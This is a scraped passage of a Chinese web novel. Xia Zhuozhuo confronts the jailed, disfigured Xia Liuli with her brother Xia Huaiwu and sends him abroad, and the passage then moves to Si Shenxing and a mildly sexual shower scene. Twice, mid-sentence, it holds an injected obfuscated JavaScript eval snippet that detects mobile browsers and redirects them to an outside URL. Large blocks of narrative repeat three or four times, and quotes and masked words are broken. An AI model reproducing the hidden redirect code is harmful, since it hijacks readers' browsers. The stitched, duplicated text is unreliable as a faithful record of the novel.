很奇怪他明明是夏灼灼的哥哥却在骨子里对夏灼灼有一种畏惧。 大概是亲眼见过她是怎么对付古武堂的人又或许是因为有所亏欠。 夏灼灼打了一通电话之后才带着两个人出门。 夏灼灼负责开车。 半个小时后车子开进市中心医院。 “怎么来这里了?”夏怀武问。 夏灼灼没说话直接带着夏怀武去了赵缇的病房。 正巧赵修凯也在。 赵修凯似乎歇了跟她道歉的心思见到她只是喊了句“夏小姐” “师父……”赵缇撑着身子要坐起来。 夏灼灼忙在他的后背垫了个枕头。 “你怎么样了?” 赵缇虽然有些虚弱但是精神头不错。 “医生说我下周就可以回家静养了。” “那你恢复速度还不错。等你出院了我配一个药方给你。” 赵缇欢喜答应。 他看一眼夏灼灼身后的两个男人。 一个是夏怀瑾他出院后就会正式收为徒弟的但另一个……? 赵缇面露疑惑问:“这位是?” 夏灼灼看一眼夏怀武说明来意。 “这是我五哥他想知道夏琉璃对您都做了些什么。” 赵缇是个聪明人已经猜到了夏灼灼为什么带夏怀武来了。 到底以前是兄妹多半是不信夏琉璃会做出那些事。 “夏琉璃她……” 赵缇吸了口气把事情从头说起。 说到夏琉璃抄袭夏怀瑾的作品的时候夏怀武脸上还没有什么表情直到赵缇说起咖啡厅时发生的事。 “她明明已经帮我把 药捡起来了可不知道想到了什么突然把药丢到了窗外……” “如果不是师父及时赶到医院为我做了手术 夏怀武目瞪口呆。 “她、她跟我说的是……是她太紧张才不小心弄掉了药。而且事后也在第一时间把您送到医院了。” 赵缇冷笑一声。 “他跟我孙子也是这个说辞。” 赵修凯尴尬走上前。 “夏五少夏琉璃骗了我也骗了你。她就是故意的。如果不是那天我听到了她跟她前男友的对话我现在都还被她蒙在鼓里。” “她甚至因为怕事情败露故意在我爷爷刚从ICU转到普通病房的时候就故意言语刺激他。” 夏怀武的手紧紧攥了起来。 他已经确定这些人说的都是真的了。 不会无缘无故站出来两个人都说夏琉璃是**凶手。 而小七一向懒得跟他多废话也不可能特意找到这两个人对他说谎。 赵缇大师更是名气很大不是会配合夏灼灼撒谎的人。 夏怀武慢慢低下了头不发一言。 他心里突然有点难过。 其实这些话不用赵缇陈述夏灼灼亲口对他说他也会相信。 他是真的有所改变了。 只是……他没法眼睁睁看着夏琉璃被抓走。 就在这时夏灼灼的手机响了一声。 她拿出手机看了眼随后让夏六在病房里等她自己则是带着夏怀武往另一个住院楼层去。 “我们现在去哪儿?”夏怀武问。 “去见夏琉璃。” 夏怀武表情微微一僵说:“不用找她对峙了我都相信。” 夏灼灼停下脚步目光静静看着他。 “你真的相信?” 夏怀武点头。 “刚才还有几句话我没说。夏琉璃在说了自己对赵缇大师做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276407|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情之后还说这一切都是你故意陷害她。” 夏灼灼抬了下眼皮。 “你信了?所以瞒着我把她送到了斯蒂兰马场?” “不不。”夏怀武飞快摇头:“我当然不相信。甚至因为她说了是你陷害她之后我就有怀疑她说的其他的话也是假的。” “可你还是帮她了。” 夏怀武垂下黑眸。 “她是我从小看着长大的妹妹兄弟几个里我跟她最亲。所以就算心里猜到她真的犯了错 我还是不能袖手旁观……” 他顿了顿,说:“如果是你做错了事,我也会做出一样的选择。” “哪怕是**未遂?” “是。别说是未遂了,就算是……成功了,我也一样会帮你。” 夏灼灼的眼皮轻轻跳了一下。 像是有什么东西,飘进了眼睛里。 这一刻,她有些明白夏怀武到底是个什么的人了。 他固执、一根筋,帮亲不帮理,只相信自己愿意相信的。 这样的人,虽然愚蠢,但内心其实是很干净的。 只是如果他帮的人不是夏琉璃,或许,她会彻底原谅他。 两秒后,夏灼灼开口道:“如果我让你在我和夏琉璃之间选一个呢?” 夏怀武这次毫不犹豫地说:“选你。” 夏灼灼仔细看他的眼睛,从里面看不到任何的虚假。 她微微叹了一口气,说:“跟我来吧,你得见见她。” “我已经信你说的话了……” “不是。”夏灼灼摇摇头,说:“你得见见真实的她。” “……” 夏怀武点了点头:“好。” 只是他原以为夏灼灼会带他去警局,却没想到去的是住院部的十楼。 十楼是皮肤科的楼层。 刚出电梯他就看到了一个病房门口,站着两个警员。 他眼皮一跳,看向夏灼灼。 “琉璃在这儿?” “嗯。”夏灼灼没有多余的话,直接带着他进了那两个警员所在的病房。 “夏小姐。” 两个警员上前跟她招呼,其中一个就是丁警官。 “方便探视吗?” 丁警官点头:“当然,您请。” 夏灼灼应了声,带着夏怀武进门。 夏琉璃正躺在病床上输液。 她已经被毁容了,半张脸高度烧伤,昨晚高烧了一个晚上,今天早上才退烧。 只是她脸上绑着纱布,并不能看到伤口。 一双原本明亮的眼睛,现在灰扑扑的,像是蒙上了一层灰尘。 听到动静,夏琉璃朝门口看过来。 她先看到了夏怀武,眼睛立刻一亮。 可随即她就看到了夏怀武身边的夏灼灼。 一瞬间,夏琉璃的面目变得狰狞起来。 “**!你还敢出现在我面前!我杀了你!” 她起身就要从病床上冲过去。 夏怀武吓了一跳,他从没见过这样的夏琉璃。 像个地狱跑出来的鬼。 陌生又可怕。 见她要冲过来,夏怀武条件反射地挡在了夏灼灼面前。 夏灼灼推开了他。 “用不着。” 的确是用不着,夏琉璃没有输液的那只手拷着**,她根本无法离开她的病床。 第172章 她,暗部老大 就算能离开病床,夏琉璃又怎么会是夏灼灼的对手? **摩擦床头的声音,像是猫在铁板上磨爪子,格外刺耳。 门口的丁警官跑进来,询问夏灼灼要不要帮忙。 “不用,谢谢。” 丁警官便又退了出去。 夏琉璃大概也是意识到自己根本碰不到夏灼灼的一根头发,终于停下了动作,只是那双眼睛像是一条毒蛇,嘶嘶地吐着信子。 夏怀武从没见过这样的夏琉璃,后背竟然感到一阵发凉。 夏灼灼早就习惯了。 她从第一次见夏琉璃起,夏琉璃就是这个样子。 自私自利,恶毒可怖。 她对上夏琉璃阴冷的视线,开口问:“你问我,我怎么敢出现在你的面前。那请问,我为什么不敢出现在你面前呢?” 夏琉璃死死地咬着后槽牙,从牙缝里挤出话。 “你还有脸问?那把火就是你放的!你害我毁了容,还摔断了腿!你敢说,这不是你做的?” 夏灼灼也不否认。 “火的确是我放的。” 夏怀武错愕地看向夏灼灼。 他只知道夏琉璃所在的酒店起火,却不知道火是夏灼灼放的。 可想到自己几次三番误会夏灼灼,他还是把询问的话咽了回去。 他已经跟从前不一样了,现在他打心底里认为,夏灼灼这么做,一定有她的道理。 果然,他沉默是对的。 下一秒夏灼灼就说:“我是放了火,但没要你的命。你让许菻兮在马蹄上做的手脚,才是要我的命。” 夏琉璃突然想起来了。 许菻兮! 她应该按照自己做的去做了,可夏灼灼怎么没事? 从马上摔下来,不死也得半残。 可夏灼灼现在毫发无损地站在她的面前。 “怎么会……你怎么会没事?” 夏灼灼凉凉笑了下。 “因为我猜到了许菻兮要做什么,提前把那枚绣花针拔掉了。而许菻兮自作孽,她的马出了事,自己从马上摔下来,**。” 夏琉璃倏然瞪大眼睛。 “她**?不可能……她要是**,你不可能好端端站在这里,你也会被牵连!” 夏灼灼薄唇一弯。 “但真是可惜,我没有被牵连进去。反而还能腾出时间,来看一看你的惨状。你最引以为傲的脸……现在已经彻底毁了吧?” 夏琉璃脸色一白,下一瞬疯了一 般要朝夏灼灼冲过来。 但她的手被牢牢铐着,哪怕磨掉了一层皮,也靠近不了夏灼灼分毫。 夏怀武看看发疯夏琉璃,又看看夏灼灼,脑子里嗡嗡的。 信息量太多,他都不知道该先震惊哪件事。 “好好在监狱里享受你的后半生吧。” 轻飘飘留下这么一句,夏灼灼便要离开了。 “你别走!”夏琉璃大喊着:“你杀了我吧!你不是也很想要我死吗?你杀了我,你的目的就达到了!” 夏灼灼侧眸看向夏琉璃。 那一瞬间似有怜悯。 “我不会杀你,会脏了我的手。我还会时不时传消息进去给你,让你知道,我、以及整个夏家,过得有多好。” 夏琉璃在夏家出事的第一时间选择跟夏家划清界限,这也就算了,可她还趁火**,卖掉了夏家的庄园,让夏家人去住狗窝。 当然,如果夏琉璃仅仅只是做了这些,没有对赵缇生出杀意,没有让许菻兮害她,她也不会做这么绝。 最多只是把夏琉璃赶出沪城。 可夏琉璃这么做了。 她咎由自取。 一步错,步步错。 所以,她会让夏琉璃好好活着,时不时听到一些夏家的“喜讯”。 夏琉璃会在痛苦和懊悔中,度过后半生。 对夏琉璃来说,活着,比**更痛苦。 她知道夏琉璃不会**,这种极度自私的人,是不会寻死的。 夏琉璃见夏灼灼眼底毫无波动,突然想起了夏怀武。 “五哥,火是她放的,她害我毁了容,我的脚也废了……” 她努力卖惨,可见到她发疯的夏怀武,心里又怎么会有动容呢? 何况,他刚才还听到,夏琉璃让许菻兮害夏灼灼坠马。 许菻兮已经**,可如果夏灼灼没有察觉到端倪,那现在死的人就是夏灼灼。 夏怀武的手心出了一层冷汗。 他深深看了夏琉璃一眼,道:“琉璃,你在里面好好改**省吧。” 夏琉璃不敢置信地瞪大眼睛。 她忽得掀开了自己脸上的纱布。 被高度灼烧的皮肤,像一块烂了很久的腐肉,看得人浑身起鸡皮疙瘩。 她指着自己的脸,问夏怀武:“就算看到我这样,你还是站在她那边?我是想算计她,但她不是没出事吗?现在出事的人是我啊,五哥,我们可是从小一起长大的兄妹啊!” 夏灼灼淡淡看了眼夏怀 武。 只听夏怀武说:“刚才在外面,小七问了我一个问题。她问我,如果你和她之间我必须要选择一个,我会选择谁。” 夏琉璃从唇瓣里挤出四个字:“你选了她。” “对。不管谁问,不管问多少遍,我选择的人,都是她。” “可我们才是从小一起长大的兄妹!兄弟几个里,我们关系最好!” “没错。可是琉璃,你忘了,我们为什么会成为兄妹?” 夏琉璃的表情明显僵住。 夏怀武继续说。 “因为小七走丢了,所以你才会成为我们的妹妹。” “你讨厌小七,是因为觉得小七抢走了原本属于你的东西。可你忘了,这些本来就不属于你。” “如果不是小七,我们根本不会认识,你也不会从孤儿院来到夏家。” “对了,你知道我为什么会对你这么好吗?因为小七走丢,是因为我贪玩,才导致没看住她,让她跟我们走散了。我对你好,是因为对小七的愧疚。” “后来对你好,是因为习惯对你好了。连我自己都忘了,我一开始为什么对你那么好。” “导致……本末倒置,一开始竟然在你和小七之间,更偏向于你。” 夏琉璃的表情一寸寸冷下来。 她没有发疯,反而很冷静。 但越是这样,越让夏怀武觉得陌生。 他觉得今天自己才算彻底看清一切。 “小七,走吧。” 夏灼灼一点头,跟夏怀武一起走出去了。 身后很快传来夏琉璃阴毒的声音:“我进了监狱,会每天每天诅咒你们全家!你们整个夏家都不得好死!” 夏怀武打了一个冷颤。 他到现在还是不明白一件事。 “为什么我们对她已经足够好了,她却这样对我们?” 夏灼灼平静地说:“因为有些人,生下来就是坏种。坏种是不会记得别人的好的。” 夏怀武很后悔。 “当初是我无意间见到了夏琉璃,带妈去领养她的。也是我……不小心把你弄丢了。” 夏灼灼抬起脸,很认真地看向夏怀武。 “五哥。” 夏怀武微微一愣,这是夏灼灼第一次叫他五哥。 她一直连名带姓叫他。 “你说。” “不要再去想过去的事,要往前看。” 夏怀武郑重点头:“好。” 夏灼灼又说:“我给你一个前 途,你想要吗?这个前途,很危险,但熬过去了,就是一片光明。” 夏怀武沉默一阵,点头:“我要。” “好。” 夏灼灼跟他说起了司慎行跟她提的事。 “那边多方势力盘旋,你去了,会有危险。生命危险。” “我不怕。我留在家里,只会给你们添麻烦,还不如出去**。” 夏灼灼眼底逐渐有了赞同之色。 她抬起手,拍了一下夏怀武的肩。 “等你回来,我们重新再认识一次。” 夏怀武的眼眶有些红,他哽咽着说:“好。” …… 回了赵缇的病房,夏六敏锐地感觉到夏灼灼和夏怀武的关系有了些许变化。 但从表面上看,好像又没有什么区别。 他没有多问,高兴地跟夏灼灼说起,赵缇收了他为徒弟的事。 夏灼灼微笑道:“是我举荐的。” “我就知道!否则,师父怎么会看上我?” 夏灼灼这回不赞同了。 “赵缇愿意收你,不是只看在我的面子上,他是欣赏你的作品。就如同,他曾经欣赏夏琉璃的作品,所以收了她为徒。或者说,他一开始想收为徒弟的人,就是你。” 夏怀憬的心口激荡。 “我不会让你和师父失望的!” 三个人一起回了家。 只不过这次夏怀武没有被排除在外,夏灼灼时不时会接一句他的话。 哪怕神色仍旧是淡淡的,哪怕对他跟对夏六仍然不一样,但他就是心情轻松。 相比起此刻的轻松,以后的危险就算不得什么了。 司慎行那边着急用人,第二天,夏怀武便跟夏太太说明情况,说自己要去一个海岛帮司慎行做事。 夏太太同意了。 一是因为司慎行,二是因为,她猜到这也是夏灼灼的安排。 两个都是她信任的人,所以她放心让夏怀武去了。 当然,夏灼灼没有让夏怀武一个人去。 她派了暗部的四个人。 这四个人武术都非常好,每个人都有自己的一技之长,还都很聪明。 夏怀武的脑子不够灵活,但有他们四个人的协助,就如有神助。 直到夏灼灼把人带到夏怀武面前,夏怀武才知道,他的七妹妹,竟是暗部的老大。 但意外的是,他并不十分惊讶。 就好像夏灼灼是暗部老大是理所应当的事情。 她本就不平凡。 家里的每一个人也都不平凡,最平凡的人就是他。 所以他也要为自己闯出一片天地,让自己做一个配得上,当夏灼灼的五哥的人。 途,你想要吗?这个前途,很危险,但熬过去了,就是一片光明。” 夏怀武沉默一阵,点头:“我要。” “好。” 夏灼灼跟他说起了司慎行跟她提的事。 “那边多方势力盘旋,你去了,会有危险。生命危险。” “我不怕。我留在家里,只会给你们添麻烦,还不如出去**。” 夏灼灼眼底逐渐有了赞同之色。 她抬起手,拍了一下夏怀武的肩。 “等你回来,我们重新再认识一次。” 夏怀武的眼眶有些红,他哽咽着说:“好。” …… 回了赵缇的病房,夏六敏锐地感觉到夏灼灼和夏怀武的关系有了些许变化。 但从表面上看,好像又没有什么区别。 他没有多问,高兴地跟夏灼灼说起,赵缇收了他为徒弟的事。 夏灼灼微笑道:“是我举荐的。” “我就知道!否则,师父怎么会看上我?” 夏灼灼这回不赞同了。 “赵缇愿意收你,不是只看在我的面子上,他是欣赏你的作品。就如同,他曾经欣赏夏琉璃的作品,所以收了她为徒。或者说,他一开始想收为徒弟的人,就是你。” 夏怀憬的心口激荡。 “我不会让你和师父失望的!” 三个人一起回了家。 只不过这次夏怀武没有被排除在外,夏灼灼时不时会接一句他的话。 哪怕神色仍旧是淡淡的,哪怕对他跟对夏六仍然不一样,但他就是心情轻松。 相比起此刻的轻松,以后的危险就算不得什么了。 司慎行那边着急用人,第二天,夏怀武便跟夏太太说明情况,说自己要去一个海岛帮司慎行做事。 夏太太同意了。 一是因为司慎行,二是因为,她猜到这也是夏灼灼的安排。 两个都是她信任的人,所以她放心让夏怀武去了。 当然,夏灼灼没有让夏怀武一个人去。 她派了暗部的四个人。 这四个人武术都非常好,每个人都有自己的一技之长,还都很聪明。 夏怀武的脑子不够灵活,但有他们四个人的协助,就如有神助。 直到夏灼灼把人带到夏怀武面前,夏怀武才知道,他的七妹妹,竟是暗部的老大。 但意外的是,他并不十分惊讶。 就好像夏灼灼是暗部老大是理所应当的事情。 她本就不平凡。 家里的每一个人也都不平凡,最平凡的人就是他。 所以他也要为自己闯出一片天地,让自己做一个配得上,当夏灼灼的五哥的人。 途,你想要吗?这个前途,很危险,但熬过去了,就是一片光明。” 夏怀武沉默一阵,点头:“我要。” “好。” 夏灼灼跟他说起了司慎行跟她提的事。 “那边多方势力盘旋,你去了,会有危险。生命危险。” “我不怕。我留在家里,只会给你们添麻烦,还不如出去**。” 夏灼灼眼底逐渐有了赞同之色。 她抬起手,拍了一下夏怀武的肩。 “等你回来,我们重新再认识一次。” 夏怀武的眼眶有些红,他哽咽着说:“好。” …… 回了赵缇的病房,夏六敏锐地感觉到夏灼灼和夏怀武的关系有了些许变化。 但从表面上看,好像又没有什么区别。 他没有多问,高兴地跟夏灼灼说起,赵缇收了他为徒弟的事。 夏灼灼微笑道:“是我举荐的。” “我就知道!否则,师父怎么会看上我?” 夏灼灼这回不赞同了。 “赵缇愿意收你,不是只看在我的面子上,他是欣赏你的作品。就如同,他曾经欣赏夏琉璃的作品,所以收了她为徒。或者说,他一开始想收为徒弟的人,就是你。” 夏怀憬的心口激荡。 “我不会让你和师父失望的!” 三个人一起回了家。 只不过这次夏怀武没有被排除在外,夏灼灼时不时会接一句他的话。 哪怕神色仍旧是淡淡的,哪怕对他跟对夏六仍然不一样,但他就是心情轻松。 相比起此刻的轻松,以后的危险就算不得什么了。 司慎行那边着急用人,第二天,夏怀武便跟夏太太说明情况,说自己要去一个海岛帮司慎行做事。 夏太太同意了。 一是因为司慎行,二是因为,她猜到这也是夏灼灼的安排。 两个都是她信任的人,所以她放心让夏怀武去了。 当然,夏灼灼没有让夏怀武一个人去。 她派了暗部的四个人。 这四个人武术都非常好,每个人都有自己的一技之长,还都很聪明。 夏怀武的脑子不够灵活,但有他们四个人的协助,就如有神助。 直到夏灼灼把人带到夏怀武面前,夏怀武才知道,他的七妹妹,竟是暗部的老大。 但意外的是,他并不十分惊讶。 就好像夏灼灼是暗部老大是理所应当的事情。 她本就不平凡。 家里的每一个人也都不平凡,最平凡的人就是他。 所以他也要为自己闯出一片天地,让自己做一个配得上,当夏灼灼的五哥的人。 途,你想要吗?这个前途,很危险,但熬过去了,就是一片光明。” 夏怀武沉默一阵,点头:“我要。” “好。”

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相比起此刻的轻松,以后的危险就算不得什么了。 司慎行那边着急用人,第二天,夏怀武便跟夏太太说明情况,说自己要去一个海岛帮司慎行做事。 夏太太同意了。 一是因为司慎行,二是因为,她猜到这也是夏灼灼的安排。 两个都是她信任的人,所以她放心让夏怀武去了。 当然,夏灼灼没有让夏怀武一个人去。 她派了暗部的四个人。 这四个人武术都非常好,每个人都有自己的一技之长,还都很聪明。 夏怀武的脑子不够灵活,但有他们四个人的协助,就如有神助。 直到夏灼灼把人带到夏怀武面前,夏怀武才知道,他的七妹妹,竟是暗部的老大。 但意外的是,他并不十分惊讶。 就好像夏灼灼是暗部老大是理所应当的事情。 她本就不平凡。 家里的每一个人也都不平凡,最平凡的人就是他。 所以他也要为自己闯出一片天地,让自己做一个配得上,当夏灼灼的五哥的人。 途,你想要吗?这个前途,很危险,但熬过去了,就是一片光明。” 夏怀武沉默一阵,点头:“我要。” “好。” 夏灼灼跟他说起了司慎行跟她提的事。 “那边多方势力盘旋,你去了,会有危险。生命危险。” “我不怕。我留在家里,只会给你们添麻烦,还不如出去**。” 夏灼灼眼底逐渐有了赞同之色。 她抬起手,拍了一下夏怀武的肩。 “等你回来,我们重新再认识一次。” 夏怀武的眼眶有些红,他哽咽着说:“好。” …… 回了赵缇的病房,夏六敏锐地感觉到夏灼灼和夏怀武的关系有了些许变化。 但从表面上看,好像又没有什么区别。 他没有多问,高兴地跟夏灼灼说起,赵缇收了他为徒弟的事。 夏灼灼微笑道:“是我举荐的。” “我就知道!否则,师父怎么会看上我?” 夏灼灼这回不赞同了。 “赵缇愿意收你,不是只看在我的面子上,他是欣赏你的作品。就如同,他曾经欣赏夏琉璃的作品,所以收了她为徒。或者说,他一开始想收为徒弟的人,就是你。” 夏怀憬的心口激荡。 “我不会让你和师父失望的!” 三个人一起回了家。 只不过这次夏怀武没有被排除在外,夏灼灼时不时会接一句他的话。 哪怕神色仍旧是淡淡的,哪怕对他跟对夏六仍然不一样,但他就是心情轻松。 相比起此刻的轻松,以后的危险就算不得什么了。 司慎行那边着急用人,第二天,夏怀武便跟夏太太说明情况,说自己要去一个海岛帮司慎行做事。 夏太太同意了。 一是因为司慎行,二是因为,她猜到这也是夏灼灼的安排。 两个都是她信任的人,所以她放心让夏怀武去了。 当然,夏灼灼没有让夏怀武一个人去。 她派了暗部的四个人。 这四个人武术都非常好,每个人都有自己的一技之长,还都很聪明。 夏怀武的脑子不够灵活,但有他们四个人的协助,就如有神助。 直到夏灼灼把人带到夏怀武面前,夏怀武才知道,他的七妹妹,竟是暗部的老大。 但意外的是,他并不十分惊讶。 就好像夏灼灼是暗部老大是理所应当的事情。 她本就不平凡。 家里的每一个人也都不平凡,最平凡的人就是他。 所以他也要为自己闯出一片天地,让自己做一个配得上,当夏灼灼的五哥的人。 途,你想要吗?这个前途,很危险,但熬过去了,就是一片光明。” 夏怀武沉默一阵,点头:“我要。” “好。” 夏灼灼跟他说起了司慎行跟她提的事。 “那边多方势力盘旋,你去了,会有危险。生命危险。” “我不怕。我留在家里,只会给你们添麻烦,还不如出去**。” 夏灼灼眼底逐渐有了赞同之色。 她抬起手,拍了一下夏怀武的肩。 “等你回来,我们重新再认识一次。” 夏怀武的眼眶有些红,他哽咽着说:“好。” …… 回了赵缇的病房,夏六敏锐地感觉到夏灼灼和夏怀武的关系有了些许变化。 但从表面上看,好像又没有什么区别。 他没有多问,高兴地跟夏灼灼说起,赵缇收了他为徒弟的事。 夏灼灼微笑道:“是我举荐的。” “我就知道!否则,师父怎么会看上我?” 夏灼灼这回不赞同了。 “赵缇愿意收你,不是只看在我的面子上,他是欣赏你的作品。就如同,他曾经欣赏夏琉璃的作品,所以收了她为徒。或者说,他一开始想收为徒弟的人,就是你。” 夏怀憬的心口激荡。 “我不会让你和师父失望的!” 三个人一起回了家。 只不过这次夏怀武没有被排除在外,夏灼灼时不时会接一句他的话。 哪怕神色仍旧是淡淡的,哪怕对他跟对夏六仍然不一样,但他就是心情轻松。 相比起此刻的轻松,以后的危险就算不得什么了。 司慎行那边着急用人,第二天,夏怀武便跟夏太太说明情况,说自己要去一个海岛帮司慎行做事。 夏太太同意了。 一是因为司慎行,二是因为,她猜到这也是夏灼灼的安排。 两个都是她信任的人,所以她放心让夏怀武去了。 当然,夏灼灼没有让夏怀武一个人去。 她派了暗部的四个人。 这四个人武术都非常好,每个人都有自己的一技之长,还都很聪明。 夏怀武的脑子不够灵活,但有他们四个人的协助,就如有神助。 直到夏灼灼把人带到夏怀武面前,夏怀武才知道,他的七妹妹,竟是暗部的老大。 但意外的是,他并不十分惊讶。 就好像夏灼灼是暗部老大是理所应当的事情。 她本就不平凡。 家里的每一个人也都不平凡,最平凡的人就是他。 所以他也要为自己闯出一片天地,让自己做一个配得上,当夏灼灼的五哥的人。 第173章 妻管严 走过安检那一刻,夏怀武紧了紧挂在脖子上的一块玉佩。 那块是夏灼灼的。 从家里出发之前,她给了他。 他知道这是什么意思。 这是小七给他的最后一次机会。 这一次,他不会再犯糊涂! 夏灼灼目送夏怀武离开,脸上的表情很复杂。 旁边的司慎行是跟她一起来送别夏怀武的。 他也派了两个人,跟着夏怀武一起去海岛。 瞥见她脸色的神色,司慎行开口道:“如果难过,舍不得,我现在就让他回来。” 没有夏怀武,他也可以再选别人担起大任。 夏灼灼摇摇头。 “我没有舍不得。” 她也并不难过。 因为她跟夏怀武没有亲密到这种程度。 她只是在想,如果当初夏怀武没有把她弄丢,那她还是现在的她吗? 系统还会选中她,让她穿越上百个平行空间,学习那么多技能吗? 而她自己,到底是更想做现在的自己,还是一个从小被夏家人呵护长大的夏家七小姐? 夏灼灼的脑子很乱。 因为她自己也不知道答案。 她唯一能做的,就是接受现在,然后向前看。 “没有舍不得,那你的表情怎么看起来……不太高兴?” 夏灼灼耸了耸肩,说:“因为我在想,夏怀武走,我派谁去查古武堂?” 司慎行往她面前靠近一步。 “你面前就有一个可以帮你的人。” “你?算了吧,我自己来。” “看不起我?” “不是。”夏灼灼直言道:“这件事对你来说不难,但你一直没去做,难道不是因为上头的人已经在怀疑方局是你的人吗?所以你才为了避嫌,最近一直没跟他有联系。” 司慎行苦笑一声。 “什么都瞒不过你。” 夏灼灼再次一耸肩。 “所以,这事儿你就别管了,我自己会解决。” 古武堂不彻底铲除,就永远是个隐患。 只是眼下暗部还在隐藏锋芒,她不适应现在在沪城动用暗部的人。 不过,暗部的人不能动,虎头帮的人却也不全是废物。 “行,不过你也别逞强,如果觉得对付不了,随时来找我。” 夏灼灼沉默一阵,说:“谢了。” 司慎行朝她伸出手。 “我不喜欢口头的道谢, 我让你给我买的礼物呢?买好了吗? 夏灼灼一噎。 她压根不记得这事儿了。 “还在选。她说:“你什么东西都有,我不知道该买什么。 “买什么都行,我不挑。 只要是她选的,什么都好。 离开机场,司慎行送她回家。 “许家那边我已经帮你解决了。 夏灼灼看他一眼,问:“你许诺给他们什么好处了?能让他们连许菻兮的死都不追究了? “我给他们好处? 司慎行笑了下,说:“你应该问,他们许诺给我什么好处了。 夏灼灼丢过去一个疑惑的眼神。 司慎行便解释给她听。 昨天离开斯蒂兰马场后,司慎行就去了许家。 并非是夏灼灼以为的,去许家给许父许诺好处,从而让他不要再细查许菻兮的死。 而是,刚到许家,他就命令霍刚砸了客厅所有能砸的东西——除了许菻兮的尸体。 倒不是不敢,只是因为砸尸体,很晦气。 许父当时就吓傻了。 夏灼灼也很吃惊。 “这么做是什么意思?你威胁他们? 司慎行笑了下,说:“灼灼,你不够坏,所以猜不到我的用意。 他又跟她解释了一通,夏灼灼才明白过来。 司慎行过去,是去问罪的。 许菻兮的死一旦传出去,会给马场造成很大的损失。 所以他很“生气,怪许父没管好女儿。 “我越是这样,许董越不会怀疑许菻兮的死跟你我有关。相反,如果我上去就示好,按照许董那个跟许菻兮一样的智商,说不定真会以卵击石,哪怕知道自己捞不到好处,也要彻查这件事。 夏灼灼听懂了。 司慎行继续说道:“他现在非但不会去继续深查,还会帮我一起,把女儿死在马场的消息压下去。现在,他已经对外说,自己的女儿是车祸去世的。 “你还真是、真是……她不知道该拿什么词来形容他了。 “觉得我很可怕? 夏灼灼摇头。 “害死许菻兮的是我,我又比你好到哪里去? 司慎行纠正她:“不是你害死她的,是她自己害**自己。如果她没有对你的马做手脚,她不会死。而且,就算她化成厉鬼来报仇,第一要算账的人,也会是夏琉璃。 夏灼灼不置可否地说:“你很会安慰 人。以前你也是这么安慰其他女孩子的吗?” 司慎行握着方向盘的手一滞,眼睛突然浮现一丝光亮。 “你吃醋了?” 夏灼灼耳朵一热。 她自己也不知道为什么突然要问这句话。 只听司慎行说:“你放心,你是我第一个喜欢的女人,也只会是最后一个,所以,我没有安慰过其他女人。” “我没什么好不放心的……” 她别开了眼,表情很冷淡的样子。 但司慎行清楚地看到她的耳朵已经彻底红透了。 他的猜测果然没错。 夏灼灼喜欢用冷淡掩饰自己的害羞。 真不愧是他司慎行看中的女人,就连害羞都跟别人不一样。 车子一路开回夏家,夏灼灼让他稍等,自己快步跑上楼去。 司慎行正疑惑着,就见夏灼灼拎着一个袋子下来了。 “什么东西?”他问。 “你回去自己看。”她把袋子往副驾驶上一丢,转身一溜烟就跑了。 司慎行目送她回到别墅,这才拆开袋子。 里面是一瓶洗发水。 他拿起来闻了闻,正是夏灼灼身上的味道。 他还以为夏灼灼忘记答应他给他做洗发水了,没想到她记得。 他唇角极浅地牵起一个弧度,平日里冷肃的黑眸染上罕见的温度,像寒潭被日光拂过时泛起的亮色粼光。 他有些理解为什么那些电视剧里的手下老喜欢说“我很久没见少爷笑的这么开心了”。 遇到夏灼灼之后,他脸上的笑容真的比以前多了很多。 以前的经历导致他阴郁、冷漠。 现在夏灼灼的出现像一束阳光,通过厚厚的土壤,照到底下的冷冻层。 当晚回到枫林晚,他连晚餐都顾不上吃,就去浴室冲了个澡。 用夏灼灼做的洗发水。 浴室里蒸腾的水汽氤氲了玻璃门。 他站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284351|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在花洒下,水流冲刷着紧绷了一天的肌肉。 空气里都是夏灼灼身上的首乌藤香。 水流淌过他的眉骨滑落,滑过肌肉条理分明的胸膛,没过人鱼线再往下…… 耳边滴答滴答的水声,像是催眠的音符。 他闭上眼睛,仿佛看到夏灼灼就在他面前。 他的手指无意识地顺着水流滑向小腹…… 他不自觉想,如果是夏灼灼的手指会怎么样。 他观察过夏灼灼的手。 在 她给杜老爷子针灸的时候。 那双手细长干净,指甲修剪的圆润干净,没有花俏的美甲,只有健康的粉色光泽。 如果这只手是她的,她可能会紧张到耳朵通红,指间冰凉。 但很快就会在他灼热的体温下变得温暖。 呼吸慢慢变得粗重,浴室的门却在这时候被敲得震天响。 “啪啪——” “阿行,快出来!我给你带来一个好消息!” 该死…… 司慎行猛地睁开眼睛。 瞥见浴室玻璃门对面的镜子,他一双眼睛,眼角通红。 像是练功入了魔。 “滚出去!”他说。 外面的声音很快消失了。 司慎行一拳砸在瓷砖墙上。 水珠四溅开来,但手上的疼痛让他在最短的时间内恢复了理智。 他近乎粗暴地扯过浴巾擦拭身体,然后穿上睡袍,黑着脸出去了。 …… 客厅里。 季恒找到司慎行私藏的名酒,正要给自己倒上一杯,酒瓶突然被一只大手拿走了。 直接丢进了垃圾桶里。 季恒错愕转身,就看到司慎行一身的戾气,一副要**的样子。 他吃了一惊,但余光扫到司慎行的睡袍…… 下面有明显的鼓点。 同为男人,他顿时明白了司慎行为什么火气这么大。 